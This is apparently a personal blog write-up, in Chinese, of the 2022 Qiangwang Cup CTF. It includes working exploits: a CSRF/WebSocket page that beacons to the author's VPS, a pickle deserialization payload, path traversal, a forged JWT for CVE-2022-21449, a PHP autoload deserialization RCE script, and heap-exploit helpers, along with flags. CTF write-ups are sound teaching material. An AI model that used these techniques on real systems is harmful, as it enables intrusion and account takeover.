引言
2022 第六届强网杯全国网络安全挑战赛
线上赛 2022-07-23 09:00 至 2022-07-24 21:00
线下赛 2022-08-20 至 2022-08-21
又是一年强网杯,和校内的几个师傅一起来看了看,随便做了点题目,这里就简单记录一下好了。
强网杯的题目还是一如既往的顶啊!
(本来还想赛后再复现整理一下的,但是摸了,放草稿箱里长草了
Web
babyweb
本题下发后,请通过http访问相应的ip和port,例如 nc ip port ,改为 http://ip:port/
docker run -dit -p “0.0.0.0:pub_port:8888” babyweb
改密码!
User-Agent: Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.1.1 Safari/538.1
vps上放个页面,让bot访问的时候调用ws,改admin用户的密码为aaa
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Document</title>
<script>
function report(s) {
document.write('<img src="http://vpsip:port/test?content=' + s + '" alt=""></img>');
}
</script>
<script>
var ws = null;
var url = "ws://127.0.0.1:8888/bot";
ws = new WebSocket(url);
function send(s) {
ws.send(s);
report("send:" + s);
}
ws.onopen = function (event) {
report('connection open!')
send("help");
send("changepw aaa");
send("help");
send("help");
// send("bugreport http://127.0.0.1:8888/main");
}
ws.onmessage = function (ev) {
report(ev.data);
};
ws.onerror = function () {
report("connection error");
};
ws.onclose = function () {
report("connection close!");
};
</script>
</head>
<body>
</body>
</html>
发送
bugreport http://VPSIP:PORT/bot?adsfja
用 admin/aaa 进入 admin 的账号
余额正好够买个 hint
得到源码
http://182.92.223.176:32311/static/qwb_source_12580.zip
外面一层 python,里面一层 golang
app.py
@app.route("/buy", methods=['POST'])
def buy():
if not session:
return redirect('/login')
elif session['user'] != 'admin':
return "you are not admin"
else :
result = {}
data = request.get_json()
product = data["product"]
for i in product:
if not isinstance(i["id"],int) or not isinstance(i["num"],int):
return "not int"
if i["id"] not in (1,2):
return "id error"
if i["num"] not in (0,1,2,3,4,5):
return "num error"
result[i["id"]] = i["num"]
sql = "select money,flag,hint from qwb where username='admin'"
conn = sqlite3.connect('/root/py/test.db')
c = conn.cursor()
cursor = c.execute(sql)
for row in cursor:
if len(row):
money = row[0]
flag = row[1]
hint = row[2]
data = b'{"secret":"xxxx","money":' + str(money).encode() + b',' + request.get_data()[1:] #secret已打码
r = requests.post("http://127.0.0.1:10002/pay",data).text
r = json.loads(r)
if r["error"] != 0:
return r["error"]
money = int(r["money"])
hint = hint + result[1]
flag = flag + result[2]
sql = "update qwb set money={},hint={},flag={} where username='admin'".format(money,hint,flag)
conn = sqlite3.connect('/root/py/test.db')
c = conn.cursor()
try:
c.execute(sql)
conn.commit()
except Exception as e:
conn.rollback()
c.close()
conn.close()
return "database error"
return "success"
pay.go
package main
import (
"github.com/buger/jsonparser"
"fmt"
"net/http"
"io/ioutil"
"io"
)
func pay(w http.ResponseWriter, r *http.Request) {
var cost int64 = 0
var err1 int64 = 0
json, _ := ioutil.ReadAll(r.Body)
secret, err := jsonparser.GetString(json, "secret")
if err != nil {
fmt.Println(err)
}
if secret != "xxxx"{ //secret已打码
io.WriteString(w, "{\"error\": \"secret error\"}")
return
}
money, err := jsonparser.GetInt(json, "money")
if err != nil {
fmt.Println(err)
}
_, err = jsonparser.ArrayEach(
json,
func(value []byte, dataType jsonparser.ValueType, offset int, err error) {
id, _ := jsonparser.GetInt(value, "id")
num, _ := jsonparser.GetInt(value, "num")
if id == 1{
cost = cost + 200 * num
}else if id == 2{
cost = cost + 1000 * num
}else{
err1 = 1
}
},
"product")
if err != nil {
fmt.Println(err)
}
if err1 == 1{
io.WriteString(w, "{\"error\": \"id error\"}")
return
}
if cost > money{
io.WriteString(w, "{\"error\": \"Sorry, your credit is running low!\"}")
return
}
money = money - cost
io.WriteString(w, fmt.Sprintf("{\"error\":0,\"money\": %d}", money))
}
func main() {
mux := http.NewServeMux()
mux.HandleFunc("/pay", pay)
http.ListenAndServe(":10002", mux)
}
golang 这个解析器如果存在多个同样product的话,会取前面的,而python会取后面的
构造payload
POST /buy HTTP/1.1
Host: 182.92.223.176:32311
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 93
Origin: http://182.92.223.176:32311
Connection: close
Referer: http://182.92.223.176:32311/main
Cookie: session=eyJ1c2VyIjoiYWRtaW4ifQ.YuVV9g.Us4wSP2MIR-MvtfFnbJ9yTLXHho
Pragma: no-cache
Cache-Control: no-cache
{"product":[{"id":1,"num":0},{"id":2,"num":0}],"product":[{"id":1,"num":0},{"id":2,"num":1}]}
这样 flag=1 就成功进入到 sql 语句中,刷新页面就拿到 flag 了
crash
题目内容:flag in 504 page
直接给了源码
import base64
# import sqlite3
import pickle
from flask import Flask, make_response,request, session
import admin
import random
app = Flask(__name__,static_url_path='')
app.secret_key=random.randbytes(12)
class User:
def __init__(self, username,password):
self.username=username
self.token=hash(password)
def get_password(username):
if username=="admin":
return admin.secret
else:
# conn=sqlite3.connect("user.db")
# cursor=conn.cursor()
# cursor.execute(f"select password from usertable where username='{username}'")
# data=cursor.fetchall()[0]
# if data:
# return data[0]
# else:
# return None
return session.get("password")
@app.route('/balancer', methods=['GET', 'POST'])
def flag():
pickle_data=base64.b64decode(request.cookies.get("userdata"))
if b'R' in pickle_data or b"secret" in pickle_data:
return "You damm hacker!"
os.system("rm -rf *py*")
userdata=pickle.loads(pickle_data)
if userdata.token!=hash(get_password(userdata.username)):
return "Login First"
if userdata.username=='admin':
return "Welcome admin, here is your next challenge!"
return "You're not admin!"
@app.route('/login', methods=['GET', 'POST'])
def login():
resp = make_response("success")
session["password"]=request.values.get("password")
resp.set_cookie("userdata", base64.b64encode(pickle.dumps(User(request.values.get("username"),request.values.get("password")),2)), max_age=3600)
return resp
@app.route('/', methods=['GET', 'POST'])
def index():
return open('source.txt',"r").read()
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)
题目说要 504,那按照 nginx
的默认配置得构造一个让服务超时 60s 的请求
哪里可以超时呢?pickle
本身是没有循环结构的,所以无法构造循环,只能反序列化的时候代码执行一个 time.sleep
:
(ctime
sleep
I20
o.
0: ( MARK
1: c GLOBAL 'time sleep'
13: I INT 20
17: o OBJ (MARK at 0)
18: . STOP
highest protocol among opcodes = 1
但是按照测试,直接 sleep 30s 以上会把派森杀掉(返回 502,连接被打断)
所以可以开四个 shell,每个挂个 20s 的跑这个
while true
do
curl 'http://47.93.187.169:24375/balancer' \
-H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9' \
-H 'Accept-Language: zh-CN,zh;q=0.9' \
-H 'Cache-Control: max-age=0' \
-H 'Cookie: userdata=KGN0aW1lCnNsZWVwCkkyMApvLg==;' \
-H 'DNT: 1' \
-H 'Proxy-Connection: keep-alive' \
-H 'Upgrade-Insecure-Requests: 1' \
-H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36'
done
easyweb
照片墙的内部系统中可能还有什么系统。
http://47.104.95.124:8080/showfile.php?f=./demo/../showfile.php
可以读源码
base64 读回来
showfile.php
<?php
error_reporting(0);
require_once('class.php');
$filename = $_GET['f'];
if(preg_match("/http|https|bzip2|gopher|dict|zlib|data|input|%00/i", $filename)){
die("nop");
}
else{
if(isset($_SESSION)){
$show = new AdminShow($filename);
$show->show();
}else{
if(preg_match('/guest|demo/i',$filename)) {
$show = new GuestShow($filename);
$show->show();
}else{
die("<p class='tip'>no permission, you can only see string 'demo' and 'guest'</p>");
}
}
}
?>
index.php
<body>
<h1>欢迎来到强网杯照片墙</h1>
<form action="index.php" method="post" enctype="multipart/form-data">
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交"><br>
<a href="showfile.php?f=./demo.png">查看照片</a>
<?php
$upload = md5("2022qwb".$_SERVER['REMOTE_ADDR']);
@mkdir($upload, 0333, true);
if(isset($_POST['submit'])) {
include 'upload.php';
}
?>
</form>
</body>
upload.php
<?php
error_reporting(0);
require_once('class.php');
if(isset($_SESSION)){
if(isset($_GET['fname'])?!empty($_GET['fname']):FALSE){
$_FILES["file"]["name"] = $_GET['fname'];
}
$upload = new Upload();
$upload->upload();
}else {
die("<p class='tip'>guest can not upload file</p>");
}
?>
class.php
<?php
class Upload {
public $file;
public $filesize;
public $date;
public $tmp;
function __construct(){
$this->file = $_FILES["file"];
}
function do_upload() {
$filename = session_id().explode(".",$this->file["name"])[0].".jpg";
if(file_exists($filename)) {
unlink($filename);
}
move_uploaded_file($this->file["tmp_name"],md5("2022qwb".$_SERVER['REMOTE_ADDR'])."/".$filename);
echo 'upload '."./".md5("2022qwb".$_SERVER['REMOTE_ADDR'])."/".$this->e($filename).' success!';
}
function e($str){
return htmlspecialchars($str);
}
function upload() {
if($this->check()) {
$this->do_upload();
}
}
function __toString(){
return $this->file["name"];
}
function __get($value){
$this->filesize->$value = $this->date;
echo $this->tmp;
}
function check() {
$allowed_types = array("jpg","png","jpeg");
$temp = explode(".",$this->file["name"]);
$extension = end($temp);
if(in_array($extension,$allowed_types)) {
return true;
}
else {
echo 'Invalid file!';
return false;
}
}
}
class GuestShow{
public $file;
public $contents;
public function __construct($file)
{
$this->file=$file;
}
function __toString(){
$str = $this->file->name;
return "";
}
function __get($value){
return $this->$value;
}
function show()
{
$this->contents = file_get_contents($this->file);
$src = "data:jpg;base64,".base64_encode($this->contents);
echo "<img src={$src} />";
}
function __destruct(){
echo $this;
}
}
class AdminShow{
public $source;
public $str;
public $filter;
public function __construct($file)
{
$this->source = $file;
$this->schema = 'file:///var/www/html/';
}
public function __toString()
{
$content = $this->str[0]->source;
$content = $this->str[1]->schema;
return $content;
}
public function __get($value){
$this->show();
return $this->$value;
}
public function __set($key,$value){
$this->$key = $value;
}
public function show(){
if(preg_match('/usr|auto|log/i' , $this->source))
{
die("error");
}
$url = $this->schema . $this->source;
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_HEADER, 1);
$response = curl_exec($curl);
curl_close($curl);
$src = "data:jpg;base64,".base64_encode($response);
echo "<img src={$src} />";
}
public function __wakeup()
{
if ($this->schema !== 'file:///var/www/html/') {
$this->schema = 'file:///var/www/html/';
}
if ($this->source !== 'admin.png') {
$this->source = 'admin.png';
}
}
}
读 /proc/net/arp
得到内网 http://47.104.95.124:8080/showfile.php?f=./demo/../../../../proc/net/arp
IP address HW type Flags HW address Mask Device
10.10.10.10 0x1 0x2 02:42:0a:0a:0a:0a * eth1
10.10.10.101 0x1 0x0 00:00:00:00:00:00 * eth1
172.18.0.1 0x1 0x2 02:42:18:cb:f4:43 * eth0
这里要构造个反序列化链,绕过那个 __wakeup
大概记得最后这个内网的还不能直接读,还得提权,有个带了 suid 的借用一下就行(
(本来打算复现下的,但是咕了.jpg 后面环境就没了
Crypto
myJWT
自己实现了个 jwt,用 java 写的 ECDSA SHA384withECDSAinP1363Format
正好想到之前那个洞 CVE-2022-21449,Java 签名的时候没有校验是否值为0
https://neilmadden.blog/2022/04/19/psychic-signatures-in-java/
先拿个token
eyJ0eXAiOiJKV1QiLCJhbGciOiJteUVTIn0=.eyJpc3MiOiJxd2IiLCJuYW1lIjoibWlhbyIsImFkbWluIjpmYWxzZSwiZXhwIjoxNjU5MjAzNTk4NzQzfQ==.mN_kLa_Xb_eHYC45AhTnQozRyHjHaJy_ecK0xT2YeGA_qPKQ32_2Ls7qlkK5tCYLp1O2alvwmANUKsVkGI7GYwVGoi_cXtk7oeAq1OJaDGAGnoVr1ytoVZhLkpLGdC9i
把 admin 改为 true
{"iss":"qwb","name":"miao","admin":true,"exp":1659203758911}
再让校验部分为90个 0x00 就行了
payload:
eyJ0eXAiOiJKV1QiLCJhbGciOiJteUVTIn0=.eyJpc3MiOiJxd2IiLCJuYW1lIjoibWlhbyIsImFkbWluIjp0cnVlLCJleHAiOjE2NTkyMTM1OTg3NDN9.AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
flag{cve-2022-21449_Secur1ty_0f_c0de_1mplementation}
强网先锋
Rcefile
/www.zip
读源码,发现可以上传.inc
文件,而且config.inc.php
文件中有spl_autoload_register();
exp脚本:
(因为类名不能以数字开头,所以需要多跑几次)
import requests
from hashlib import md5
from datetime import datetime
from urllib.parse import quote
unix_timestamp = int(datetime.now().timestamp())
classname = md5(str(unix_timestamp).encode()).hexdigest()
file_pl = '''<?php
class %s {
public function __wakeup() {
system("cat /flag");
}
}''' % classname
sess_pl = 'O:32:"' + classname + '":0:{}'
target = 'http://eci-2ze1o95qor1nxcykpgvs.cloudeci1.ichunqiu.com'
# target = 'http://localhost:8000'
res = requests.post(target + "/upload.php", files={'file': (f'123.inc', file_pl, 'image/png')})
print(res.text[-100:])
print(sess_pl)
print(quote(sess_pl))
res = requests.get(target + "/showfile.php", headers={'Cookie': 'userfile=' + quote(sess_pl)})
print(res.text)
ASR
n=2872432989693854281918578458293603200587306199407874717707522587993136874097838265650829958344702997782980206004276973399784460125581362617464018665640001^2
P39 = 260594583349478633632570848336184053653
P39 = 225933944608558304529179430753170813347
P39 = 218566259296037866647273372633238739089
P39 = 223213222467584072959434495118689164399
TODO
Misc
签到
flag{we1come_t0_qwb_s6}
问卷调查
填问卷
Pwn
GetFree, GetRoot, GetHyper
proof-of-work 代码
from hashlib import sha256
def pow():
p.recvuntil(b"prefix: ")
prefix = bytes.fromhex(p.recvline(False).decode())
p.recvuntil(b"target: ")
target = bytes.fromhex(p.recvline(False).decode())
p.recv()
for i in range(256):
for j in range(256):
for k in range(256):
input = i.to_bytes(1, 'little') + j.to_bytes(1, 'little') + k.to_bytes(1, 'little')
txt = prefix + input
res = sha256(txt).digest()
if res == target:
p.sendline('%02x%02x%02x' % (i, j, k))
return
GetRoot
连接上之后是一个qemu monitor
1 -> New Note,参数1:index,参数2:?
2 -> Edit Note,参数1:index,参数2:?
3 -> Del Note,参数1:index
4 -> 1个参数,功能未知
5 -> echo,参数1:内容
6 -> echo echo,参数1:内容,参数1:内容
7 -> echo,参数1:内容
8 -> reboot
House of cat
Large bin attack?
def add(idx, size, content):
'''
idx: [0, 16]
size: (0x417, 0x46f]
'''
p.sendafter(b'~~~~~~\n', b'CAT | r00t QWBQWXF \xFF\xFF\xFF\xFF$args')
sleep(0.1)
p.sendafter(b'cat choice:\n', b'1')
sleep(0.1)
p.sendafter(b'cat idx:\n', str(idx))
sleep(0.1)
p.sendafter(b'cat size:\n', str(size))
sleep(0.1)
p.sendafter(b'content:\n', content)
sleep(0.1)
def delete(idx):
'''
idx: [0, 16]
'''
p.sendafter(b'~~~~~~\n', b'CAT | r00t QWBQWXF \xFF\xFF\xFF\xFF$args')
sleep(0.1)
p.sendafter(b'cat choice:\n', b'2')
sleep(0.1)
p.sendafter(b'cat idx:\n', str(idx))
sleep(0.1)
def view(idx):
'''
idx: [0, 16]
'''
p.sendafter(b'~~~~~~\n', b'CAT | r00t QWBQWXF \xFF\xFF\xFF\xFF$args')
sleep(0.1)
p.sendafter(b'cat choice:\n', b'3')
sleep(0.1)
p.sendafter(b'cat idx:\n', str(idx))
sleep(0.1)
p.recvuntil(b'Context:\n')
return p.recvline()
def edit(idx, content):
'''
idx: [0, 16]
content: 0x30
'''
p.sendafter(b'~~~~~~\n', b'CAT | r00t QWBQWXF \xFF\xFF\xFF\xFF$args')
sleep(0.1)
p.sendafter(b'cat choice:\n', b'3')
sleep(0.1)
p.sendafter(b'cat idx:\n', str(idx))
sleep(0.1)
p.sendafter(b'content:\n', content)
sleep(0.1)
p.sendafter(b'~~~~~~\n', b'LOGIN | r00t QWBQWXF admin')
sleep(0.1)
// TODO
未完待续
小结
唉,难难
最后咱也就水了个 强网先锋 的证书,摸了
前 32 名也太卷啦!
(溜了溜了喵